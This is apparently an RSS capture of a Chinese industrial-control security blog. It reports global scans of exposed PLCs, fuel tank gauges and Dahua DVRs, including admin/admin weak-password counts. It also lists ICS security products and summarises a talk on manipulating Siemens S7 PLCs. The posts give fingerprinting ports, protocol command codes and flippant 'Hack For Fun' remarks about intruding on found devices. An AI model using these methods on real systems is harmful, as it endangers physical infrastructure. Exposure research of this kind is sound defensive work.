Quantcast
Channel: 灯塔实验室
Viewing all 39 articles
Browse latest View live

对菲尼克斯ProConOs认证缺陷的一个全球统计报告(Phoenix Contact Software ProConOs Authentication Vulnerability Global Census Report)

$
0
0

概述

在1月13日,ICS-CERT通报了菲尼克斯ProConOS和MULTIPROG存在认证漏洞,该缺陷可以导致攻击者在接入网络的情况下远程改变PLC内部的梯形图逻辑,缺陷的详细通报可以参阅(ICSA-15-013-03)。

关于缺陷的一些问题

ProConOS是德国科维公司(KW-Software GmbH)开发的用于PLC的实时操作系统,在菲尼克斯(PHOENIX CONTACT)的Inline系列中高端型号的PLC中,内部均使用了KW的ProConOS,在去年测试到过一台菲尼克斯Inline ILC 3XX的控制器,同样也发现了一些关键操作可以完成重放,以及没有认证、应用会话时序的问题,可以使用特定报文远程删除PLC内部工程,冷热启动PLC CPU等。

关于菲尼克斯Inline系列PLC的识别

菲尼克斯Inline系列PLC默认开放了较多的外部通用服务,比如Web,FTP,SNMP等服务,开放的服务均有较明显的Banner。Inline系列的PLC中存在一个PC WORX软件与PLC测试通讯状态的端口,通过向该端口发送特定报文,可以有效的识别Inline ILC整个系列的PLC设备,并从该端口返回当前设备类型,如下图
Phoenix_Contact_Inline_Enumerate1
Phoenix_Contact_Inline_Enumerate2
Inline系列的部分中高端使用ProConOS的PLC,数据操作、工程通信端口也使用了一个独立的TCP端口,正因为协议没有认证和时序的原因,我们构造特定的报文即可识别当前PLC使用的工程名、当前系统的版本等,可以更方便确认现场环境的信息。如下图
Phoenix_Contact_Inline_Enumerate3
Phoenix_Contact_Inline_Enumerate4

扫描情况简介

本次的扫描范围为全网IPv4地址,时间是在2014年12月上旬,识别全网存活的菲尼克斯Inline ILC的PLC有197条,使用ProConOS的菲尼克斯Inline ILC的PLC有108条。这也意味着数百台PLC将可以被远程删除工程或被替换工程。

菲尼克斯Inline系列PLC全网暴露数据统计

测试端口数据统计(TCP/xxxx):

国家 暴露数量
意大利 81
美国 18
西班牙 17
波兰 16
德国 15
土耳其 10
瑞士 9
比利时 4
瑞典 4
加拿大 4
荷兰 3
英国 3
俄罗斯 3
奥地利 2
法国 2
乌克兰 2
挪威 1
马尔代夫 1
捷克 1
保加利亚 1

图形化统计如下图:
Phoenix_Contact_Inline_PLC_ICSMAP_2014_12

 数据、工程通信端口(可以直接操作梯形图工程、停止冷热启动CPU的数据)(TCP/xxxxx):

国家 暴露数量
美国 72
意大利 9
加拿大 6
墨西哥 4
台湾 3
德国 3
捷克 2
法国 2
比利时 1
西班牙 1
波兰 1
韩国 1
日本 1
丹麦 1
埃及 1

情报分析

相信工程人员在做工程时,一般都是对PLC的名称或工程文件、变量点等按功能或用途来命名,那么一旦暴露在互联网可能就会被这个几个字符所出卖。来猜猜这是做什么的?
Phoenix_Contact_Inline_Enumerate5


加油站实时监测设备的一次全球统计报告(Tank Gauges Vulnerability Global Census Report)

$
0
0

概述

在1月22日Rapid7博客发布了一份关于加油站液位仪(ATG,油罐液位仪,一种储油罐的监测设备)的研究及统计报告,并在报告中指出全球有高达5800多站点的设备接入了互联网,其中5300多位于美国,仪表主要供应商为维德路特(Vedeer-Root),仪表设备经由串转网(串口转以太网)的方式接入互联网(主要用于运营商远程监控数据),因为设备协议上没有认证,攻击者可以轻易通过网络更改仪表的门限和阀值、产生警报等引起安全事故。
下图是一个加油站监测的系统结构图:
station_system
注:图片来自百度文库(罐实时监测与管理系统的设计与实现

关于扫描识别

Rapid7博客的研究报告中指出了ATGs的完成远程监控通讯服务大多使用串转网方式接入到网络,服务一般运行在TCP/IP的10001端口,另外根据Vedeer-Root官方的串口协议文档和kachoolie创建的漏洞检测页面,那么不难构造一个通用的识别扫描脚本,这里识别获取系统的详细信息可以使用官方文档中提到的201命令码(Function Code: 201),即获取当前罐内用量的状态报告(Function Type: In-Tank Inventory Report)。如下图为构造的NMAP NSE识别脚本获取到的站的详细情况,有意是的是在回复的状态中,包含了当前加油站的详细地址、时间、油用量等。
atgs-enumerate

扫描情况简介

本次的扫描探测为全网IPv4地址,扫描时间在1月23日,根据特征扫描识别到符合官方协议回复的数据有5523条,能获取到详细状态信息(地址、用量)的数据有4488条,其中美国依然存活4103条,与Rapid7 Project Sonar 1月早些时候的5300条,已经出现了明显的衰减,或者已经引起了供应商的关注,当然也不排除扫描时网络出现的延时和因为需要等待完整收包(response分多次)等出现的误差。

全网扫描统计(2015/01/23)

统计数据Top10(命中站详细信息的数据)

美国 4103
西班牙 112
加拿大 33
德国 29
意大利 25
法国 20
斯洛文尼亚 13
开曼群岛 11
新西兰 10
爱尔兰 10

图形化统计分布如下图:
Veeder_Root_ATGs_ICSMAP_2015_01_23

后记

值得庆幸的是首轮扫描中,并没有发现能获取到详细用量信息的中国加油站ATG暴露在公网,但是依然有几十条数据的response符合协议要求,初步判断为可能为串转网的设备接口。
Vedeer-Root的TLS监控系统使用文档中包含了大量的针对监测仪表的大量串口调试命令,可能碍于影响,目前Vedeer-Root官方已经从网站下载中删除了该文档。

新闻跟踪

网络攻击可能会关闭美国的加油站
Internet attack could shut down US gas stations
数千美国加油站暴露在网络攻击中
Thousands of U.S. gas stations exposed to Internet attacks

Hack For Fun

hack_for_fun

对欧姆龙设备的一次全球统计报告(Omron fins protocol Global Census Report)

$
0
0

概述

欧姆龙是来自日本的知名电子和自控设备制造商,其中小型PLC在国内市场有较高的市场占有量,有CJ、CM等系列,PLC可以支持Fins,Host link等协议进行通信。

关于扫描识别

支持以太网的欧姆龙PLC CPU、以太网通信模块根据型号的不同,一般都会支持fins协议,一些模块也会支持EtherNet/IP协议,Omron fins协议使用TCP/UDP的9600端口进行通信,fins协议封装在TCP/UDP上进行通信,需要注意的是TCP模式下组包和UDP模式下在头部上有所差异。具体协议包的构造可以参考欧姆龙官方的协议文档。如下图可以使用fins命令中0501命令去请求PLC当前CPU的信息:
Omron_fins_Command
实现的基于NMAP的nse插件如下图:
fins_enumerate

扫描情况简介

针对欧姆龙fins协议的第一次扫描探测完成于1月30号,探测范围为全网IPv4地址,首轮发现有923套欧姆龙各种型号的PLC接入了公网。

全网扫描统计 Top20(2015/1/30)

美国 229
意大利 131
西班牙 118 
法国 86 
荷兰 74 
加拿大 53 
台湾 31 
比利时 24 
英国 21 
挪威 14 
匈牙利 12 
日本 11 
丹麦 10 
瑞典 9 
波兰 8 
俄罗斯 8 
德国 7 
捷克 7 
中国 6 
爱沙尼亚 5

图形化统计分布如下图:
Omron_fins_ICSMAP_2015_01_30

后记

1、欧姆龙作为日本领先的自控设备生产企业,而从得到的数据来看日本暴露的数量都不算太多,不知道这背后是不是还有其他深层次的原因?
2、还有一点值得提的是此类型PLC通讯端口一旦暴露在公网就意味是可以通过协议、软件等直接操作该PLC的所有功能(如果他没有设置等级存取密码),如果PLC需要跨地域进行远程通讯,在配置路由的端口映射时,建议同时还是给PLC设置权限密码,或者在防火墙添加可信的基于源地址的过滤,用来消减暴露在互联网的安全风险。
3、本博客用于进行工控设备安全风险态势统计和研究的扫描器目前已经设置了DNS反解标注(Reverse DNS record),使用域名为icsresearch1.plcscan.org,欢迎继续关注之后的更多工控设备统计报告或来信与我交流。

Hack For Fun

点我轻松一刻

omron_plc_exposed

对GE PLC(美国通用电气产品)的一次全球统计报告(General Electric GE SRTP protocol Global Census Report)

$
0
0

概述

GE PLC来自全球领先的美国通用电气公司,GE PLC控制器从小型到大型有多个系列,如小型的VersaMax系列,中小型的90-30系列、90-70系列,中大型的RX3i、RX7i系列等。

关于扫描识别

支持以太网接口的GE各系列PLC,如VersaMax,RX系列的PLC均会支持GE SRTP协议(厂商私有协议),一些型号也会支持Modbus协议,PLC可以通过GE SRTP协议进行数据通信,数据传输等,GE SRTP协议使用TCP/18245端口传输数据。不同系列、型号的GE PLC也会开启FTP,WEB等常见的IT监控服务。
具体识别方法也可以见
2014/6 通用快速识别GE PLC(General Electric)以太网通信模块

扫描情况简介

根据对全网IPv4地址的TCP/18245端口进行扫描,其中发现312个IP(以2015年1月31日的扫描为例)的回复符合GE SRTP协议的标准。

全网扫描统计(2015/1/31)

美国 79
加拿大 27
韩国 27
波兰 20
台湾 13
哈萨克斯坦 8
捷克 8
意大利 8
土耳其 6
拉脱维亚 4
以色列 3
瑞士 3
巴西 2
厄瓜多尔 2
爱尔兰 2
马来西亚 2
英国 2
法国 1
泰国 1
丹麦 1
墨西哥 1
瑞典 1
中国 1
阿塞拜疆 1
奥地利 1
斯洛伐克 1
留尼汪岛 1

图形化统计分布如下图:
GE_SRTP_ICSMAP_2015_1

后记

对识别的数据在进行2次深入分析时我们发现,暴露在公网的SRTP协议设备,来自于不少的VersaMax和RX系列PLC,以及GE的HMI设备。如下图,为对IP的深入识别结果。
ge-enumerate

Hack For Fun

下面截图均来自同时开放WEB服务又开放了SRTP协议(TCP/18245端口)的IP的部分验证截图。

exposure_verify_1

exposure_verify2

exposure_verify3

exposure_verify4

exposure_verify5

exposure_verify6 exposure_verify7

大华监控设备(DVR/DVS)全球暴露数量近百万、全球66万设备存在弱口令/对浙江大华技术安防监控设备的全网统计报告

$
0
0

概述

2月27日,因为江苏省公安厅的通报文件在网上公开引而发了海康威视黑天鹅事件,这也将长期一来的弱口令问题和去年的远程代码执行问题再次炒热了。而同样也为安防行业龙头的大华设备的弱口令态势是个什么样?下面将会回答你。

关于扫描识别

大华的大量监控设备(包括大量别的厂商OEM自大华的设备)DVR/DVS/NVR/IP Cameras均支持一种私有协议,用来传输实时视频流和视屏回放文件,包括云台控制等命令等,该协议默认使用37777端口。具体细节可参考官方提供的部分SDK。如下图为实现的基于nmap的弱口令探测脚本和设备识别脚本。
dahua_enmu_1

扫描情况简介

我们3月5日首次针对中国的3.3亿ip进行了存活性和弱口令探测,根据特征发现中国共有21万左右的大华DVR/DVS暴露在公网,其中使用admin/admin默认口令的高达17万,弱口令的比率也达到了吓人的80%。在3月11日我们完成了大华监控设备在全网的存活探测性和弱口令探测,发现1007000左右的符合大华私有协议特征的数据,其中弱口令登录成功的高达66万,弱口令的比率也达到了66%。如下图为识别插件输出的全部结果。
scan_report_1
scan_report_2

大华设备中国各城市弱口令TOP30(2015/3/5)

Guangzhou 43000
Nanjing 18260
Fuzhou 17283
Hebei 8125
Unknown 7234
Chongqing 5868
Jinan 5302
Beijing 4368
Hangzhou 4142
Shenyang 3593
Chengdu 3387
Hefei 3249
Zhengzhou 3117
Shanghai 3110
Changsha 3049
Wuhan 2573
Ningbo 2531
Changchun 2349
Jinhua 2212
Tianjin 2091
Wenzhou 2016
Nanchang 1828
Harbin 1742
Taizhou 1635
Shaoxing 1597
Nanning 1570
Baotou 1545
Kunming 1400
Jiaxing 1318
Taiyuan 1240

Hack For Fun

找个城市我们可以进行物理入侵了!
video64

2015年4月1日更新内容:

我们在3月27日时又再次启动了针对大华监控设备的全网第二次,对监控弱口令和设备串号探测,基本上确定了大华设备接入互联网的数量在100万上下,两次数据误差在1万左右,通过协议探测协议上使用弱口令的数量在66万上下,这也就意味着足不出户就可以观看到全球各地的摄像头直播实况。根据IP和对应国家,我们也使用ECharts绘制了简单的大华设备数量分布地图,比较直观的帮助我们了解设备分布情况。

大华设备公网全球分布数量TOP50(2015/3/28)

中国 172364
巴西 142463
美国 74453
波兰 56277 
土耳其 55299
西班牙 40674
印度 35611
泰国 31529
法国 30147 
未知 27522
墨西哥 26059
英国 24580 
俄罗斯 23137
意大利 21253
罗马尼亚 18634
乌克兰 17936 
韩国 15816
哥伦比亚 13966
阿根廷 13119
越南 11760 
马来西亚 9417
澳大利亚 8311
智利 8164
加拿大 6539
葡萄牙 6412 
荷兰 6189
伊朗 5818
塞尔维亚 5569 
匈牙利 5192
以色列 4281
保加利亚 4202
比利时 4109 
委内瑞拉 3942
突尼斯 3693
香港 3686
哥斯达黎加 3375 
台湾 3321
希腊 3233
爱尔兰 3209
菲律宾 3170 
南非 3160
德国 2714
秘鲁 2688
埃及 2649 
捷克共和国 2258
立陶宛 1987
新加坡 1903
玻利维亚 1863 
摩洛哥 1835
斯洛伐克 1737

dahua_dvr_dvs_2015_3_28

国内工控网络安全产品目录(最后更新于2015年8月)

$
0
0

前言

说起工控网络安全最初进入人们视野中的便是伊朗的震网病毒事件,而自从工信部2011年下发451号文以后,国内工控安全的市场也开始酝酿,到后来有陆陆续续的厂商开始尝试开发、销售一些有别于传统网络的防护产品,后面便出现了针对工控网络隔离、适用于工控网络的防火墙等产品。国家发改委也在2012年、2013的国家信息安全专项中对工业控制系统信息安全领域的产品、项目给予了极大的支持,而根据公安部测评通过的备案数据来看,2014年到2015年更是开始爆发性增长。大家应该知道信息安全类产品在国内进行销售时有销售许可证制度,即厂商生产或开发的信息安全类产品上市销售前需要在国内公安的相关部门测试并备案通过后,才允许在市场上销售。本文主要整理了国内已经通过公安部测试允许在市场上销售的工控网络安全类防护产品的公司及产品名称等信息,以及2013年入选国家信息安全专项的产品、项目信息。供大家参考。

 国内工控网络安全产品目录(最后更新于2015年8月)

点击下载详细数据表(按产品许可证最开始申请时间排序)

许可证号	许可证有效期	产品名称	产品型号	产品类型	送检厂商
XKC36963	2011-05-27至 2013-05-27	南瑞电力专用防火墙	PowerKeeper-3000	防火墙(一级)	南京南瑞集团公司
XKC36502	2011-10-17至 2013-10-17	工业网络安全防护网关	pSafetylink	逻辑隔离(一级)	北京力控华康科技有限公司
XKC34009	2011-10-28至 2013-10-28	Tofino工业防火墙	TSA220	小型防火墙	青岛海天炜业自动化控制系统有限公司
XKC36561	2011-11-11至 2013-11-11	工业控制系统联合安全网关	V1.0	木马检测、网际恶意代码控制	西门子(中国)有限公司
XKC36582	2011-11-18至 2013-11-18	工业安全以太网交换机	GM010-A01	交换机(一级)	杭州和利时自动化有限公司
XKC34034	2011-12-16至 2013-12-16	工业自动化信息安全控制装置	CSC-800ME	防火墙(一级)	北京四方继保自动化股份有限公司
XKC36840	2012-06-22至 2014-06-22	网络安全隔离装置	Syskeeper-2000	网闸(二级)	南京南瑞集团公司
XKC70376	2012-07-06至 2014-07-06	安全远程接入网关	Dialkeeper-2000	访问控制(网络-基本级)	南京南瑞集团公司
XKC71438	2012-07-06至 2014-07-06	安全接入网关	USAP-3000	VPN(行标-二级)	南京南瑞集团公司
XKC36882	2012-08-03至 2014-08-03	远动通信安全网关	HR YD-3000	访问控制(网络-基本级)	珠海市鸿瑞信息技术有限公司
XKC36907	2012-08-31至 2014-08-31	数据安全交换系统	DSS3000	网闸(二级)	南京南瑞集团公司
XKC36935	2012-09-21至 2014-09-21	工业网络隔离系统	SymLink-Gap	逻辑隔离(一级)	北京旋思科技有限公司
XKC34112	2012-09-21至 2014-09-21	鸿泰电力专用工业级防火墙	Topkeeper-6000/V2.2	防火墙(一级)	北京鸿泰高科科技有限公司
XKC34113	2012-09-28至 2014-09-28	网神SecGate 3600工业控制防火墙系统	千兆/V3.6.6.0	防火墙(一级)	网神信息技术(北京)股份有限公司
XKC34127	2012-11-09至 2014-11-09	工业安全网关	HC-ISG	小型防火墙	北京力控华康科技有限公司
XKC37215	2013-04-26至 2015-04-26	网络安全防护网关OPC网闸	ING-SO1/1	网闸(二级)	北京华烽泰特科技有限公司
XKC37364	2013-09-06至 2015-09-06	网络管理装置	HR NM-3000/V2.0	安全管理平台	珠海市鸿瑞信息技术有限公司
XKC34276	2013-09-20至 2015-09-20	可信工业防火墙	IFW2400/V1.0.0	发改委2012信息安全专项	青岛海天炜业自动化控制系统有限公司
XKC37390	2013-09-20至 2015-09-20	YISG工业隔离系统	YISG-FAM3-2110 V1.02	协议隔离(一级)	普适智联(北京)科技有限公司
XKC34282	2013-09-27至 2015-09-27	工控防火墙	HR FW-3000/V1.0.0	发改委2012信息安全专项	珠海市鸿瑞软件技术有限公司
XKC34300	2013-11-15至 2015-11-15	工业网络安全防护网关	PSL-A1081 pSafetyLink 3.0	协议隔离(一级)	北京力控华康科技有限公司
XKC34304	2013-11-29至 2015-11-29	安全隔离网关	RK-EMSG/V1.0.2	协议隔离(一级)	太原罗克佳华工业有限公司
XKC34324	2013-12-27至 2015-12-27	和利时工业防火墙	GM010-ISF / V1.0	发改委2012信息安全专项	北京和利时系统工程有限公司
XKC41120	2014-01-17至 2016-01-17	纵向加密认证网关	NetKeeper-2000/V1.0.1	VPN(行标-二级)	南京南瑞集团公司
XKC37599	2014-01-24至 2016-01-24	工业安全隔离网关	IGP2004 V4.05.00	协议隔离(一级)	上海可鲁系统软件有限公司
XKC37711	2014-05-02至 2016-05-02	工业网络安全防护网关	PSL-A0081/pSafetyLink3.0	协议隔离(一级)	北京力控华康科技有限公司
XKC34368	2014-05-16至 2016-05-16	网威工控防火墙	NPISG-2000 V2.1	防火墙(一级)	北京中科网威信息技术有限公司
XKC34379	2014-05-30至 2016-05-30	三零卫士工业防火墙	30TrustCON FWS V1.0	防火墙(一级)	上海三零卫士信息安全有限公司
XKC37772	2014-06-13至 2016-06-13	工业控制系统安全监控防护系统	XL-A100	木马检测、网际恶意代码控制	北京信联科汇科技有限公司
XKC37814	2014-07-25至 2016-07-25	安全拨号认证网关	Dialkeeper-2000/V1.4	访问控制(单机-基本级)	南京南瑞集团公司
XKC37822	2014-08-01至 2016-08-01	fSafetyLink工业安全数据采集设备	FSL-D204 fSafetyLink/3.1	单向导入产品(一级)	北京丰源金盛科技有限公司
XKC37823	2014-08-01至 2016-08-01	网络安全隔离装置	Syskeeper-2000/V1.0	协议隔离(二级)	南京南瑞集团公司
XKC37865	2014-08-29至 2016-08-29	远动通信安全网关	HRYD-3000/V2.0.0	访问控制(网络-基本级)	珠海市鸿瑞信息技术有限公司
XKC34424	2014-10-17至 2016-10-17	工业网络防火墙	ZFW-R2100/V1.0.0.6	防火墙(一级)	上海展湾信息科技有限公司
XKC34428	2014-10-31至 2016-10-31	工控安全防火墙	PC-1000/PCOS 4.3	防火墙(一级)	石化盈科信息技术有限责任公司
XKC37945	2014-10-31至 2016-10-31	工控信息安全管控平台	V3.0	安全管理平台	石化盈科信息技术有限责任公司、南京富岛信息工程有限公司
XKC37958	2014-11-21至 2016-11-21	绿盟工控安全审计系统SAS-ICS	(千兆)V5.6	网络通讯安全审计(国标-基本级)	北京神州绿盟科技有限公司
XKC34445	2014-12-05至 2016-12-05	匡恩工控网络安全保护网关	KEV-C400	防火墙(一级)	北京匡恩网络科技有限责任公司
XKC37996	2014-12-12至 2016-12-12	数据安全交换系统	DSS3000/V1.0	网闸(二级)	南京南瑞集团公司
XKC37998	2014-12-12至 2016-12-12	工业网络安全防护网关OPC网闸	NCS-TO/V2.0	网关(二级)	上海汉序信息技术有限公司
XKC38001	2014-12-19至 2016-12-19	工业隔离网关	CT-IG7537	协议隔离(一级)	浙江正泰中自控制工程有限公司
XKC41229	2015-01-02至 2017-01-02	绿盟工控漏洞扫描系统ICSScan	(NX3)V6.0	网络脆弱性扫描(增强级)	北京神州绿盟科技有限公司
XKC38031	2015-01-09至 2017-01-09	工业隔离网关	SAFECOM-SG/1.0	协议隔离(一级)	上海华艾软件股份有限公司
XKC38048	2015-01-23至 2017-01-23	本质安全DCS隔离站	PDT3000/3.3	单向导入产品(一级)	北京优化佳控制技术有限公司
XKC38059	2015-01-30至 2017-01-30	宝信工业通信安全网关	iCentroGate-GAP V1.0	协议隔离(一级)	上海宝信软件股份有限公司
XKC34474	2015-03-06至 2017-03-06	SEAtech 纵向型工业安全网关	NIOs-9702/5.20	防火墙(一级)	中京天裕科技(北京)有限公司
XKC34485	2015-03-20至 2017-03-20	航天万方工业网络防火墙	Luppiter-D1200/V1.1	防火墙(一级)	北京航天万方科技有限公司
XKC34499	2015-04-03至 2017-04-03	网威工控防火墙	NPISG-4000/V2.1	防火墙(一级)	北京中科网威信息技术有限公司
XKC34503	2015-04-03至 2017-04-03	谷神星工业防火墙系统	L6020/1.0.0	防火墙(一级)	谷神星网络科技(北京)有限公司
XKC34505	2015-04-17至 2017-04-17	中科工业防火墙	SIA-IF1000-02TX/v1.0	防火墙(一级)	中国科学院沈阳自动化研究所/沈阳中科新松投资有限公司
XKC34512	2015-04-17至 2017-04-17	AriGuard工业防火墙	IF201 V1.2 (百兆)	防火墙(一级)	冶金自动化研究设计院
XKC41240	2015-04-17至 2017-04-17	Symantec Embedded Security: Critical System Protection	1	HIDS(一级)	赛门铁克软件(北京)有限公司
XKC34513	2015-04-24至 2017-04-24	可信网关	TEG5000/V1.0	防火墙(工控-一级)	北京威努特技术有限公司
XKC38165	2015-05-08至 2017-05-08	Agate7000工控安全服务器	V1.0	发改委2013信息安全专项	北京东土科技股份有限公司
XKC38174	2015-05-15至 2017-05-15	工控网络安全监测审计系统	KEA/V2.0	网络通讯安全审计(行标-基本级)	北京匡恩网络科技有限责任公司
XKC38198	2015-05-29至 2017-05-29	配网远动通信安全网关	HR YD-3000/V2.0.0	访问控制(网络-基本级)	珠海市鸿瑞信息技术有限公司
XKC34534	2015-06-05至 2017-06-05	天安工业防火墙系统	TASS ICFW /V3.0	防火墙(一级)	北京江南天安科技有限公司
XKC34542	2015-06-19至 2017-06-19	网神工业控制安全网关系统	百兆/V4.0	发改委2013信息安全专项	网神信息技术(北京)股份有限公司
XKC34545	2015-06-26至 2017-06-26	合众工业控制隔离网关	IG/V3.0	发改委2013信息安全专项	杭州合众信息技术股份有限公司
XKC34550	2015-06-26至 2017-06-26	工控网络安全保护系统	KEV/V2.0	防火墙(一级)	北京匡恩网络科技有限责任公司
XKC34548	2015-06-26至 2017-06-26	网御工业防火墙系统	IFW-3000/V5.0	发改委2013信息安全专项	北京网御星云信息技术有限公司
XKC34553	2015-07-03至 2017-07-03	工业实时隔离网关	E4130/1.0	发改委2013信息安全专项	东方电子股份有限公司
XKC34556	2015-07-03至 2017-07-03	工业防火墙	HC-ISG V1.0	防火墙(一级)	北京力控华康科技有限公司
XKC38263	2015-07-10至 2017-07-10	HOA 多协议工业通信安全网关产品	HOA-1306FWGR/v1.1_releasel	发改委2013信息安全专项	济南华汉电气科技有限公司
XKC38266	2015-07-10至 2017-07-10	工业网络安全防护网关	pSafetyLink2.5	发改委2013信息安全专项	北京力控华康科技有限公司
XKC38276	2015-07-10至 2017-07-10	三零卫士工业控制系统信息安全网关	30TrustCON FWS V1.0	发改委2013信息安全专项	上海三零卫士信息安全有限公司

入选2013年国家信息安全专项支持目录产品目录

面向现场设备环境的边界安全专用网关产品

发改委文件对其产品的定义如下:支持IPv4/IPv6及工业以太网,适用于集散控制系统(DCS)、数据采集与监视控制系统(SCADA)、现场总线等现场环境,具备5种以上工业控制专有协议以及多种状态或指令主流格式数据的检查、过滤、交换、阻断等功能,数据传输可靠性达到100%,可保护节点数不少于500点,设备吞吐量达到线速运行水平,延时小于100ms。

最终入选单位以及产品目录

北京力控华康科技有限公司面向工业现场设备环境的边界安全专用网关产品产业化项目已列入2013年国家信息安全专项。
北京网御星云信息技术有限公司面向工业现场设备环境的边界安全专用网关产业化项目已列入2013年国家信息安全专项。
网神信息技术(北京)股份有限公司面向现场设备环境的工业控制安全网关产业化项目已列入2013年国家信息安全专项。
北京东土科技股份有限公司工业控制网络数据安全交换平台开发与产业化项目已列入2013年国家信息安全专项。
广州三零卫士信息安全有限公司三零卫士工业控制网信息安全异常监测系统产业化项目已列入2013年国家信息安全专项。
东方电子股份有限公司工业实时隔离网关安全系统产业化项目已列入2013年国家信息安全专项。
济南华汉电气科技有限公司华汉多协议工业通信安全网关产业化项目已列入2013年国家信息安全专项。
上海三零卫士信息安全有限公司三零卫士工业控制系统信息安全网关产品产业化项目已列入2013年国家信息安全专项。
杭州合众数据技术有限公司众工业控制网闸产业化项目已列入2013年国家信息安全专项。

面向集散控制系统(DCS)的异常监测产品

发改委文件对其产品的定义如下:适用于电厂、石油、化工、供热、供水等工艺流程,具有对工业控制系统的DCS工程师站组态变更、DCS操作站数据与操控指令变更,以及各种主流现场总线访问、负载变更、通信行为、异常流量等安全监测能力,具备过程状态参数、控制信号的阈值检查与报警功能。

最终入选单位以及产品目录

中国航天系统工程有限公司面向集散控制(DCS)的异常监测产品产业化项目已列入2013年国家信息安全专项。
福州福大自动化科技有限公司面向集散控制系统(DCS)的异常监测产品产业化项目已列入2013年国家信息安全专项。
浪潮创新科技有限公司浪潮创新集散控制系统(DCS)的异常监测产品(I-SIEM)及其产业化项目已列入2013年国家信息安全专项。
山东鲁能控制工程有限公司面向集散控制系统(DCS)的异常监测产品产业化项目已列入2013年国家信息安全专项。

安全采集远程终端单元(RTU)产品

发改委文件对其产品的定义如下:支持工业以太网协议,适用于-40℃~+70℃温度环境,电磁兼容性(EMC)不低于4级,具有内置安全模块,实现数据采集与监视控制系统(SCADA)软件端到端的信源加密,具备基于数字证书的安全认证功能,支持基于国家密码局规定算法的数据加密,加密速率不小于20Mb/s。

最终入选单位以及产品目录

北京国际系统控制有限公司安全采集远程终端单元(RTU)产品产业化项目已列入2013年国家信息安全专项。
泰豪软件股份有限公司面向电力配网自动化的安全RTU产品产业化项目已列入2013年国家信息安全专项。

工业应用软件漏洞扫描产品

发改委文件对其产品的定义如下:适用于石油化工、先进制造领域,具有对符合IEC61131-3标准的控制系统上位机(SCADA/HMI)软件、DCS控制器嵌入式软件以及各种主流现场总线离线漏洞扫描能力,具有对数字化设计制造软件平台(如产品数据管理PDM、专用数控机床通信软件eXtremeDNC、高级设计系统ADS等)漏洞扫描能力,具备检测与发现软件安全漏洞、评估漏洞安全风险、可视化展示、漏洞修复建议等功能,漏洞检测率达到90%以上。

最终入选单位以及产品目录

北京启明星辰信息安全技术有限公司工业应用软件漏洞扫描产品产业化项目已列入2013年国家信息安全专项。
北京神州绿盟科技有限公司工业应用软件漏洞扫描产品研发与产业化项目已列入2013年国家信息安全专项。

入选2013年国家信息安全专项其他工控项目

工业控制信息安全领域示范

发改委文件对其项目的定义如下:在电力电网、石油石化、先进制造、轨道交通领域,支持大型重点骨干企业,按照信息安全等级保护相关要求,建设完善安全可控的工业控制系统。建立以杜绝重大灾难性事件为底线的工业控制系统综合安全防护体系,建立完善工业控制信息安全技术与管理的机制和规范。

最终入选单位以及项目

国家电网公司智能电网调度控制系统安全免疫示范项目已列入2013年国家信息安全专项。
南通星辰合成材料有限公司南通星辰化工生产控制系统安全防护项目已列入2013年国家信息安全专项。
南车戚墅堰机车有限公司面向轨道交通先进制造的工业控制信息安全试点示范项目已列入2013年国家信息安全专项。

资料来源

国家信息安全专项及下一代互联网技术研发、产业化和规模商用专项项目清单

公安部计算机信息系统安全专用产品销售许可证目录

来自Kcon 2015的会议总结(Exploit PLC on the internet)

$
0
0

关于Kcon 2015

Exploit PLC on the internet是Kcon 2015的最后一个议题,其实我最终想阐述的问题是用户直接将PLC接入到互联网是非常危险的,针对私有协议的探测可以有效的发现连接到互联网的工控设备,并且这些设备是可以直接通过软件进行远程管理与配置的,当然通过对协议的了解也可以轻松的帮助我们构建Fuzz测试工具,并对设备的功能进行测试。

关于Kcon 2015的互动展示区

为了验证PLC接入互联网后会产生的各种风险,在余弦的建议和赞助下我们使用S7-300(313C)的PLC构建了一个简单的流水灯逻辑场景,并在Kcon会场外设置了工控Hack的环节,在该环节中主要通过如下三种黑盒手段验证了可能带来的风险:
1、通过S7协议对CPU内不同数据区的点值进行Fuzz,从而达到间接达到修改PLC内部程序逻辑。
2、通过S7协议替换CPU内程序的MC7字节码,从而直接达到修改PLC内部程序逻辑。
3、通过S7协议对CPU的工作状态(RUN/STOP)进行操作,从而直接达到PLC程序的停止运行。

关于将PLC直接连接到互联网的情况

用户将PLC直接连接到互联网往往来自于一些现场实际的需求。通过互联网能够进行跨地域的远程数据传输与远程设备管理,可以极大的方便用户监控数据状态和管理。用户在实现功能时往往也是最直接通过路由器的端口映射功能将PLC的特定通信端口发布在公网,如果路由器上没有设置访问控制的ACL,这将直接导致所有人可以从互联网操作到设备。

如下图,用户往往直接在路由器上将特定协议的端口映射到公网,这是致使被网络空间搜索引擎探测到的重要原因。

route_set

 

 

 

 

如下图,我们在验证一些数据时确实能发现实际的风险问题。

video_1

关于扫描与发现

如今针对互联网的全网探测扫描越来越多,扫描识别的方式都基于设备与外部通信的以太网TCP/UDP通信协议,如Modbus、IEC104、DNP3、S7协议、FINS协议等。无状态扫描的出现将加快全网探测的速度,如果用户还是使用了传统的路由器端口映射的方式来实现远程传输和管理,被扫描识别的几率是非常高的。

如下图,是对TCP/102端口的西门子S7协议的一个图形化统计。

ics_s7_map

关于利用方式

PLC内部往往存在一些有意思功能,比如自定义Socket通信的功能。在8月的blackhat的议题中,便有使用S7的通信功能块在特定s7-300的plc上构建了一个socks5协议,这种利用方式的出现直接可以让攻击者经由暴露在公网的plc直接攻击内网的其他服务,绕过网络边界。

测试工具的构建

在本次议题中我提到了基于西门子S7协议实现的协议仿真工具和Fuzz测试工具。利用协议仿真技术我们可以实现一个低交互的蜜罐,通过部署到公网的VPS,用于收集主动扫描S7协议的IP和具体操作,辅助我们发现新的扫描识别手段和攻击来源。另外也可以根据S7-300 PLC的特性通过S7协议构建用于Fuzz数据变量的测试工具。

议题PPT

目前Kcon 2015议题的PPT都已公开(Github)
PDF下载:Exploit PLC on the internet

展望

我们期待用户在设计解决方案时考虑通信安全因素,使用VPN或访问控制、以及针对工控协议深度解析的防火墙等解决方案,从而避免由信息安全带来的风险和问题。

解决工控网络通信协议威胁的实践

$
0
0

来自于工控通信协议的威胁

